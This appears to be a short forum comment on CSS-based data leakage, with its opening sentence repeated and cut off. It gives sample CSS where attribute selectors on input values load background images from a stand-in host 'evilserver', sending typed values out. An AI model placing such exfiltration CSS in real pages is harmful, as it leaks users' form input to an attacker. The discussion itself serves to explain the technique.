Yes, not ideal. But may be someone might develop even better methods. Imagine something like input[value~="12"] { background-image: url(http://evilserver/1

Yes, not ideal. But may be someone might develop even better methods. Imagine something like input[value~="12"] { background-image: url(http://evilserver/12); } input[value~="13"] { background-image: url(http://evilserver/13); } It's just a rough idea, but there are numerous methods to dynamically leak information through CSS.